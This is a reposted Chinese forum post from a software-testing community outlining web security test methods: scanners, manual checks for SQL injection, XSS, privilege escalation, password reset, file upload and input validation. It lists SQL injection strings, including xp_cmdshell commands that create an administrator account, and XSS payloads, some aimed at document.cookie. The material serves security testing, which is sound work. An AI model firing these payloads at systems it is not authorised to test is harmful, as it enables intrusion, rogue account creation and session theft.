51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

手机号码,快捷登录

查看: 2346|回复: 0
打印 上一主题 下一主题

[转贴] web安全测试方法

[复制链接]
  • TA的每日心情
    无聊
    13 小时前
  • 签到天数: 530 天

    连续签到: 2 天

    [LV.9]测试副司令

    跳转到指定楼层
    1#
    发表于 2018-12-4 16:12:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
    • 工具扫描

    目前web安全扫描器针对 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。

    商业软件web安全扫描器:有IBM Rational Appscan、WebInspect、Acunetix WVS
    免费的扫描器:W3af 、Skipfish 等

    根据业务资金,可以考虑购买商业扫描软件,也可以使用免费的,各有各的好处。

    首页可以对网站进行大规模的扫描操作,工具扫描确认没有漏洞或者漏洞已经修复后,再进行以下手工检测。

    • 手工检测


    对于CSRF、越权访问、文件上传、修改密码 等漏洞,难以实现自动化检测的效果,这是因为这些漏洞涉及系统逻辑或业务逻辑,有时候还需要人机交互参与页面流程,因此 这类漏洞的检测更多的需要依靠手动测试完成。

    手工检测网站URL、后台登陆是否具有SQL注入
    1. Admin--
    2. ‘or --
    3. ‘ and ( ) exec insert * % chr mid
    4. and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
    5. ‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
    6. and 1=2 ; ‘and 1=2
    7. and 2=2
    8. and user>0
    9. and (select count(*) from sysobjects)>0
    10. and (select count(*) from msysobjects)>0
    11. and (Select Count(*) from Admin)>=0
    12. and (select top 1 len(username) from Admin)>0(username 已知字段)
    13. ;exec master..xp_cmdshell “net user name password /add”—
    14. ;exec master..xp_cmdshell “net localgroup name administrators /add”—
    15. and 0<>(select count(*) from admin)
    复制代码
    XSS:对于get请求的URL一般漏洞扫描软件都可扫描到是否存在XSS漏洞。(但是软件没有完美的,也有误报,或者有遗漏的情况)
    对于POST的请求的(例如留言板,评论,等等),就是要在输入框输入的情况,则要进行以下测试
    1.  ★~!@#$%^&*()_+<>,./?;'"[]{}\-
    2.  ★%3Cinput /%3E
    3.  ★%3Cscript%3Ealert('XSS')%3C/script%3E
    4.  ★<input type="text"/>
    5.  ★<input/>
    6.  ★<input/  
    7.  ★<script>alert('xss')</script>
    8.  ★<script>alert('xss');</script>
    9.  ★</script><script>alert(‘xss’)</script>
    10.  ★javascript.:alert(/xss/)
    11.  ★javascript.:alert(/xss/)
    12.  ★<img src="#" nerror=alert(/xss/)>
    13.  ★<img src="#" style="Xss:expression(alert(/xss/));">
    14.  ★<img src="#"/**/onerror=alert(/xss/) width=100>
    15.  ★=’><script>alert(document.cookie)</script>
    16.  ★1.jpg" nmouseover="alert('xss')
    17.  ★"></a><script>alert(‘xss’);</script>
    18.  ★http://xxx';alert('xss');var/ a='a
    19.  ★’”>xss&<
    20.  ★"onmouseover=alert('hello');"
    21.  ★&{alert('hello');}
    22.   ★>"'><script>alert(‘XSS')</script>
    23.   ★>%22%27><img%20src%3d%22javascript.:alert(%27XSS%27)%22>
    24.  ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
    25. %26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
    26.   ★AK%22%20style%3D%22background:url(javascript.:alert(%27XSS%27))%22%20OS%22
    27.   ★%22%2Balert(%27XSS%27)%2B%22
    28.   ★<table background="javascript.:alert(([code])"></table>
    29.   ★<object type=text/html data="javascript.:alert(([code]);"></object>
    30.   ★<body nload="javascript.:alert(([code])"></body>
    31.   ★a?<script>alert(’Vulnerable’)</script>
    32.  ★<!--'">&:
    33.   var from = ‘$!rundata.Parameters.getString(’from’)';
    34.   var from = ”;hackerFunction(document.cookie);”;
    复制代码
    上面这些同样适用于GET请求
    经过以上测试,如果发现输入框代码溢出,则说明可能存在XSS漏洞,说明要进行过滤.

    关于越权操作的问题
    例如A用户的个人资料ID为1 B用户个人资料ID为2,我通过登陆B用户,把ID修改为1 就可以查看到用户A的个人资料,这就是越权。
    测试方法:通过查看URL的get参数对那些类似明显的顺序数字 进行修改,看是否能越权
    访问。

    关于登陆安全的问题
    除了SQL注入,还有找回密码功能会出现安全问题
    邮箱找回密码测试方法:
    先从邮箱参数修改开始,看填入用户名和自己修改的邮箱账号,看是否能收到邮箱,收到后是否能修改。
    如果不能修改邮箱参数那么,我们就让它邮箱找回,接着点击邮箱内修改密码的链接,看链接的邮箱参数是否可以修改,用户名是否可以修改,加密的urlcode 是否可以逆向解密。
    如果是手机找回密码功能:则测试手机收到的验证码是否是纯数字、纯字母的,如果是请修改为字母与数字的组合。

    关于用开源程序的问题
    关注网上你所用的开源程序的官网更新情况和安全事件。

    关于上传:
    1.上传文件是否有格式限制,是否可以上传exe文件;
    2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
    3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
    4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
    5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
    6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
    7.对于文件名中带有中文字符,特殊字符等的文件上传。

    下载:
    避免输入:\..\web.
    修改命名后缀。
    输入验证

    客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
    1.输入很大的数(如4,294,967,269),输入很小的数(负数)
    2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
    3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
    4.输入中英文空格,输入字符串中间含空格,输入首尾空格
    5.输入特殊字符串NULL,null,0x0d 0x0a
    6.输入正常字符串
    7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
    8.输入html和javascript代码
    9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

    例如:
    1.输入<html”>”gfhd</html>,看是否出错;
    2.输入<input type=”text” name=”user” nclick="alert(1)"/>,看是否出现文本框;
    3.输入<script. type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
    4.输入”><script. type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
    5.输入 ”><script><” 看是否出现代码溢出

    分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
    收藏收藏
    回复

    使用道具 举报

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

    GMT+8, 2024-11-21 22:30 , Processed in 0.060885 second(s), 24 queries .

    Powered by Discuz! X3.2

    © 2001-2024 Comsenz Inc.

    快速回复 返回顶部 返回列表